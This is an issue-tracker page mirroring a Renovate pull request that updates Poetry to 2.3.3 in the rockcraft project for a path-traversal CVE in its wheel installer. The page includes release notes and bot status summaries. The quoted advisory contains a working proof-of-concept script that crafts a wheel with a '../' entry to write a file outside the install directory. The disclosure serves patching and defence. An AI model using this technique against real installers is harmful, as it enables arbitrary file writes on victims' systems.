← Back to issue list

build(deps): update dependency poetry to v2.3.3 [security] (main) - autoclosed

View original Github issue

Metadata

Project
rockcraft
Number
#1168
Type
pull request
State
closed
Author
renovate[bot]
Labels
PR: Dependencies
Created
Updated
Closed

Current evaluation

Renovate's Poetry 2.3.3 security bump was autoclosed unmerged after snap-tests failed; later OSV cleanup landed in #1278 (f0b08615).

Resolution: closed superseded

Reason: PR #1168 was autoclosed without merging after snap-tests failed. Commit f0b08615 in PR #1278 subsequently updated dependencies to resolve OSV vulnerabilities.

Evaluated by: mr-cal-bot

No scores available.

Issue body

This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [poetry](https://redirect.github.com/python-poetry/poetry) ([changelog](https://python-poetry.org/history/)) | `2.3.2` → `2.3.3` | ![age](https://developer.mend.io/api/mc/badges/age/pypi/poetry/2.3.3?slim=true) | ![confidence](https://developer.mend.io/api/mc/badges/confidence/pypi/poetry/2.3.2/2.3.3?slim=true) | ### GitHub Vulnerability Alerts #### [CVE-2026-34591](https://redirect.github.com/python-poetry/poetry/security/advisories/GHSA-2599-h6xx-hpxp) ### Summary A crafted wheel can contain ../ paths that Poetry writes to disk without containment checks, allowing arbitrary file write with the privileges of the Poetry process. ### Impact Arbitrary file write (path traversal) from untrusted wheel content. Impacts users/CI/CD systems installing malicious or compromised packages. ### Patches Versions 2.3.3 and newer of Poetry resolve the target paths and ensure that they are inside the target directory. Otherwise, installation is aborted. ### Details Poetry’s wheel destination path is built by directly joining an untrusted wheel entry path: src/poetry/installation/wheel_installer.py:47 src/poetry/installation/wheel_installer.py:59 The vulnerable sink is reachable in normal installation: src/poetry/installation/executor.py:607 No resolve() + is_relative_to() style guard is enforced before writing. ### POC ``` from pathlib import Path import tempfile, zipfile, sys from installer import install from installer.sources import WheelFile from poetry.installation.wheel_installer import WheelDestination root = Path(tempfile.mkdtemp(prefix="poetry-poc-")) wheel = root / "evil-0.1-py3-none-any.whl" base = root / "venv" / "lib" / "pythonX" / "site-packages" for d in [base, root/"venv/scripts", root/"venv/headers", root/"venv/data"]: d.mkdir(parents=True, exist_ok=True) files = { "evil/__init__.py": b"", "../../pwned.txt": b"owned\n", "evil-0.1.dist-info/WHEEL": b"Wheel-Version: 1.0\nRoot-Is-Purelib: true\nTag: py3-none-any\n", "evil-0.1.dist-info/METADATA": b"Metadata-Version: 2.1\nName: evil\nVersion: 0.1\n", } files["evil-0.1.dist-info/RECORD"] = ("\n".join([f"{k},," for k in files] + ["evil-0.1.dist-info/RECORD,,"])+"\n").encode() with zipfile.ZipFile(wheel, "w") as z: for k,v in files.items(): z.writestr(k,v) dest = WheelDestination( {"purelib":str(base),"platlib":str(base),"scripts":str(root/"venv/scripts"),"headers":str(root/"venv/headers"),"data":str(root/"venv/data")}, interpreter=sys.executable, script_kind="posix" ) with WheelFile.open(wheel) as src: install(src, dest, {"INSTALLER": b"PoC"}) out = (base / "../../pwned.txt").resolve() print("outside write:", out.exists(), out) ``` --- ### Release Notes <details> <summary>python-poetry/poetry (poetry)</summary> ### [`v2.3.3`](https://redirect.github.com/python-poetry/poetry/blob/HEAD/CHANGELOG.md#233---2026-03-29) [Compare Source](https://redirect.github.com/python-poetry/poetry/compare/2.3.2...2.3.3) ##### Fixed - **Fix a path traversal vulnerability in the wheel installer that could allow malicious wheel files to write files outside the intended installation directory** ([#&#8203;10792](https://redirect.github.com/python-poetry/poetry/pull/10792)). - Fix an issue where `git` dependencies from annotated tags could not be updated ([#&#8203;10719](https://redirect.github.com/python-poetry/poetry/pull/10719)). - Fix an issue where empty `VIRTUAL_ENV` or `CONDA_PREFIX` environment variables (e.g., after `conda deactivate`) would cause Poetry to incorrectly detect an active virtualenv ([#&#8203;10784](https://redirect.github.com/python-poetry/poetry/pull/10784)). - Fix an issue where an incomprehensible error message was printed when `.venv` was a file instead of a directory ([#&#8203;10777](https://redirect.github.com/python-poetry/poetry/pull/10777)). - Fix an issue where HTTP Basic Authentication credentials could be corrupted during request preparation, causing authentication failures with long tokens ([#&#8203;10748](https://redirect.github.com/python-poetry/poetry/pull/10748)). - Fix an issue where `poetry publish --no-interaction --build` requested user interaction ([#&#8203;10769](https://redirect.github.com/python-poetry/poetry/pull/10769)). - Fix an issue where `poetry init` and `poetry new` created a deprecated `project.license` format ([#&#8203;10787](https://redirect.github.com/python-poetry/poetry/pull/10787)). ##### Docs - Clarify the differences between `poetry install` and `poetry update` ([#&#8203;10713](https://redirect.github.com/python-poetry/poetry/pull/10713)). - Clarify the section of fields in the `pyproject.toml` examples ([#&#8203;10753](https://redirect.github.com/python-poetry/poetry/pull/10753)). - Add a note about the different installation location when Python from the Microsoft Store is used ([#&#8203;10759](https://redirect.github.com/python-poetry/poetry/pull/10759)). - Fix the system requirements for Poetry ([#&#8203;10739](https://redirect.github.com/python-poetry/poetry/pull/10739)). - Fix the `poetry cache clear` example ([#&#8203;10749](https://redirect.github.com/python-poetry/poetry/pull/10749)). - Fix the link to `pipx` installation instructions ([#&#8203;10783](https://redirect.github.com/python-poetry/poetry/pull/10783)). ##### poetry-core ([`2.3.2`](https://redirect.github.com/python-poetry/poetry-core/releases/tag/2.3.2)) - Fix an issue where `platform_release` could not be parsed on Debian Trixie ([#&#8203;930](https://redirect.github.com/python-poetry/poetry-core/pull/930)). - Fix an issue where using `project.readme.text` in the `pyproject.toml` file resulted in broken metadata ([#&#8203;914](https://redirect.github.com/python-poetry/poetry-core/pull/914)). - Fix an issue where dependency groups were considered equal when their resolved dependencies were equal, even if the groups themselves were not ([#&#8203;919](https://redirect.github.com/python-poetry/poetry-core/pull/919)). - Fix an issue where removing a dependency from a group that included another group resulted in other dependencies being added to the included group ([#&#8203;922](https://redirect.github.com/python-poetry/poetry-core/pull/922)). - Fix an issue where PEP 735 `include-group` entries were lost when `[tool.poetry.group]` also defined `include-groups` for the same group ([#&#8203;924](https://redirect.github.com/python-poetry/poetry-core/pull/924)). - Fix an issue where the union of `<value> not in <marker>` constraints was wrongly treated as always satisfied ([#&#8203;925](https://redirect.github.com/python-poetry/poetry-core/pull/925)). - Fix an issue where a post release with a local version identifier was wrongly allowed by a `>` version constraint ([#&#8203;921](https://redirect.github.com/python-poetry/poetry-core/pull/921)). - Fix an issue where a version with the local version identifier `0` was treated as equal to the corresponding public version ([#&#8203;920](https://redirect.github.com/python-poetry/poetry-core/pull/920)). - Fix an issue where a `!= <version>` constraint wrongly disallowed pre releases and post releases of the specified version ([#&#8203;929](https://redirect.github.com/python-poetry/poetry-core/pull/929)). - Fix an issue where `in` and `not in` constraints were wrongly not allowed by specific compound constraints ([#&#8203;927](https://redirect.github.com/python-poetry/poetry-core/pull/927)). </details> --- ### Configuration 📅 **Schedule**: Branch creation - "" in timezone Etc/UTC, Automerge - At any time (no schedule defined). 🚦 **Automerge**: Enabled. ♻ **Rebasing**: Whenever PR is behind base branch, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/canonical/rockcraft). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4xMDIuNyIsInVwZGF0ZWRJblZlciI6IjQzLjEwMi43IiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6WyJQUjogRGVwZW5kZW5jaWVzIl19-->

Evaluation history

Date Model Scores Action Summary
stealth/space-bunny-alpha — closed superseded Renovate's Poetry 2.3.3 security bump was autoclosed unmerged after snap-tests failed; later OSV cleanup landed in #1278 (f0b08615).
stealth/space-bunny-alpha — closed stale Renovate PR #1168 was autoclosed unmerged after snap-tests failed, so the Poetry 2.3.3 update for CVE-2026-34591 did not land through this PR.
stealth/space-bunny-alpha — closed stale Renovate's Poetry 2.3.3 security update was autoclosed unmerged after snap-tests failed; the required CVE-2026-34591 update did not land through this PR.
qwen/qwen3.6-35b-a3b — — Renovate autoclosed the poetry v2.3.3 security update after snap-tests failed in CI. The dependency was not merged, leaving the repository unpatched against CVE-2026-34591.
qwen3.6-35b-a3b-mtp-q6 — — The Poetry v2.3.3 security update was autoclosed without merging. Renovate automatically closed the branch, likely because the vulnerability was patched separately or the update was handled through another channel.

Update history

No update history recorded yet.

Related work

  • Superseded By: canonical/rockcraft#1278 (confidence 90%)

    Its merged dependency update addressed OSV vulnerabilities after #1168 failed and was closed.

Related issues

Issue Project State Summary Similarity
#2625 build(deps): update dependency poetry to v2.3.3 [security] (hotfix/3.5) - autoclosed charmcraft closed Renovate's Poetry 2.3.3 security bump for hotfix/3.5 was autoclosed unmerged; the same CVE-2026-34591 fix landed via #2624 (5b858d29) on main and #2628 (36f30ad6) on hotfix/4.2.
92%
#1169 build(deps): update dependency poetry to v2.3.3 [security] (hotfix/1.17) - autoclosed rockcraft closed Renovate's Poetry 2.3.3 security bump for hotfix/1.17 was autoclosed unmerged, so #1169 did not deliver the CVE-2026-34591 remediation. Later #1278 may have covered the fix.
90%
#2626 build(deps): update dependency poetry to v2.3.3 [security] (hotfix/4.0) charmcraft closed Renovate PR #2626 (Poetry 2.1.4→2.3.3, CVE-2026-34591 fix, hotfix/4.0) was closed unmerged; the same upgrade merged in #2624 (5b858d29, main) and #2628 (36f30ad6, hotfix/4.2).
87%
#2627 build(deps): update dependency poetry to v2.3.3 [security] (hotfix/4.1) charmcraft closed Closed unmerged after equivalent Poetry 2.3.3 security updates merged in #2624 (5b858d29) for main and #2628 (36f30ad6) for hotfix/4.2.
86%
#2624 build(deps): update dependency poetry to v2.3.3 [security] (main) charmcraft merged Renovate security bump of poetry 2.3.2 -> 2.3.3 (CVE-2026-34591 path traversal in wheel installer) merged into main via commit 5b858d29; +6/-6 in pyproject.toml. Equivalent backport landed as #2628 (36f30ad6).
84%
#2629 build(deps-dev): bump poetry from 2.3.2 to 2.3.3 charmcraft closed Dependabot bump of dev dependency poetry 2.3.2→2.3.3 was closed unmerged by lengau as a duplicate of #2624, which already applied the same poetry security update to main (commit 5b858d29; also #2628 on hotfix/4.2, 36f30ad6).
82%
#2628 build(deps): update dependency poetry to v2.3.3 [security] (hotfix/4.2) charmcraft merged Merged in charmcraft#2628 via commit 36f30ad6, upgrading Poetry 2.3.2 to 2.3.3 to remediate CVE-2026-34591's malicious-wheel path traversal vulnerability.
79%
#6126 build(deps): update dependency requests to v2.33.0 [security] (hotfix/8.14) - autoclosed snapcraft closed Renovate's hotfix/8.14 requests 2.33.0 update was autoclosed unmerged; the same security bump merged via canonical/snapcraft#6127 in fce681014.
78%
#6125 build(deps): update dependency requests to v2.33.0 [security] (main) - autoclosed snapcraft closed Renovate PR #6125 (requests 2.32.5->2.33.0, CVE-2026-25645) was autoclosed as a duplicate; the same bump was merged via Dependabot PR #6127 in commit fce681014.
76%
#1335 build(deps): update dependency pip to v25 [security] (main) - autoclosed craft-parts closed Renovate's pip 24.0 to 25.2 security update for CVE-2025-8869 was autoclosed unmerged after 359 days; no resolving PR or commit was found.
75%